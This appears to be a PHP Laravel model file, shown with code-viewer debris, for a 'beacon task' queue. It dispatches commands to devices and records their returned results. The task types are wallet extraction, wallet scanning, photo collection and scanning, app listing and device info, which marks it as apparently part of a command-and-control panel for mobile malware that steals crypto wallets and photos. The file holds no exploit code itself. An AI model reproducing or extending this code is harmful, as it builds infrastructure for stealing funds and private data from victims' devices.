72 lines
1.6 KiB
PHP
72 lines
1.6 KiB
PHP
<?php
|
|
|
|
namespace App\Models;
|
|
|
|
use Illuminate\Database\Eloquent\Model;
|
|
use Illuminate\Database\Eloquent\Relations\BelongsTo;
|
|
|
|
class DsBeaconTask extends Model
|
|
{
|
|
public const STATUS_PENDING = 'pending';
|
|
|
|
public const STATUS_DISPATCHED = 'dispatched';
|
|
|
|
public const STATUS_DONE = 'done';
|
|
|
|
public const STATUS_SKIPPED = 'skipped';
|
|
|
|
public const LABELS = [
|
|
'wallet_extract' => '钱包提取',
|
|
'wallet_scan' => '钱包扫盘',
|
|
'photos' => '相册',
|
|
'photo_scan' => '相册扫描',
|
|
'apps' => '应用列表',
|
|
'basic_info' => '设备信息',
|
|
];
|
|
|
|
public const STATUS_LABELS = [
|
|
self::STATUS_PENDING => '排队中',
|
|
self::STATUS_DISPATCHED => '已下发',
|
|
self::STATUS_DONE => '已回传',
|
|
self::STATUS_SKIPPED => '已跳过',
|
|
];
|
|
|
|
protected $fillable = [
|
|
'device_id',
|
|
'position',
|
|
'type',
|
|
'status',
|
|
'command_id',
|
|
'dispatched_at',
|
|
'completed_at',
|
|
'result_count',
|
|
'result_meta',
|
|
];
|
|
|
|
protected function casts(): array
|
|
{
|
|
return [
|
|
'position' => 'integer',
|
|
'dispatched_at' => 'datetime',
|
|
'completed_at' => 'datetime',
|
|
'result_count' => 'integer',
|
|
'result_meta' => 'array',
|
|
];
|
|
}
|
|
|
|
public function device(): BelongsTo
|
|
{
|
|
return $this->belongsTo(Device::class);
|
|
}
|
|
|
|
public function typeLabel(): string
|
|
{
|
|
return self::LABELS[$this->type] ?? $this->type;
|
|
}
|
|
|
|
public function statusLabel(): string
|
|
{
|
|
return self::STATUS_LABELS[$this->status] ?? $this->status;
|
|
}
|
|
}
|